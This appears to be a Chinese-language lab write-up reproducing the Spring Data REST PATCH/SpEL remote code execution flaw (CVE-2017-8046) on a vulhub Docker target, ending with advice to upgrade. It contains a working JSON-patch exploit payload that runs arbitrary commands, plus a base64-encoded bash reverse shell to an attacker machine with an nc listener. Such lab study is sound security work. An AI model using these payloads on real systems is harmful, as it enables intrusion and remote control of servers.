目录
一.Spring Data Rest框架的概念
Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中(实现RFC6902),path的值被传入setValue,导致执行了SpEL表达式,触发远程命令执行漏洞。
二.漏洞原理
Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码.
三.影响版本
Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0M4
Spring Data release trains < Kay-RC3
四.搭建环境
1.vulhub靶场下载
2.docker-compose下载地址
3.服务启动
一切都准备好之后就可以启动CVE-2017-8046 的环境了.
先cd到spring目录下的CVE-2017-8046里面,然后使用docker-compose启动环境.
docker-compose up -d #安装并启动环境
docker ps #查看当前正在运行的服务
可以看到spring的端口为8080
ip a #查看IP 我的IP为192.168.184.155
在浏览器端输入 你的ip+端口8080 访问服务,如果显示空白页面,则表示服务搭建成功!
五.漏洞复现
1.进制转换
漏洞验证之前,我们需要将要执行的命令进行Ascii转译,不然会执行不成功的.
将 touch /tmp/success 进行ASCII-字符 转换
将其拼接到 payload 里面,最后得到: 大家直接使用我这个就可以.
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]
2.验证漏洞
(1)访问 http://靶场ip:8080/customers/1 进行抓包
(2)转包之后将GET修改为PATCH
(3)添加字段 Content-Type: application/json-patch+json
(4)将制作好的payload添加到最后一行.
然后加入重放器进行发送,响应结果如下:
发送成功之后,现在进去docker容器看一下,文件是否创建成功.
进去docker容器命令为:
docker exec -it 容器ID /bin/bash
可以看到成功创建了success.说明漏洞可以利用.
3.反弹shell
进入棱角社区制作反弹shell , 这里用到的IP是kali的IP ,端口随便定一个8888
[~]#棱角 ::Edge.Forum* #棱角社区
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjgxLjEyOS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
将这base64编码后的反弹地址放入编码网站进行编码.
将这一串数字复制到一个txt的文本文件里面进行字符替换.
Curl + F 查找替换.
在kali开启端口监听:
nc -lvvp 8888 #监听8888端口
反弹成功!!!
六.修复建议
官方已经发布新版本修复了该漏洞,受影响的用户可升级至最新版本来防护该漏洞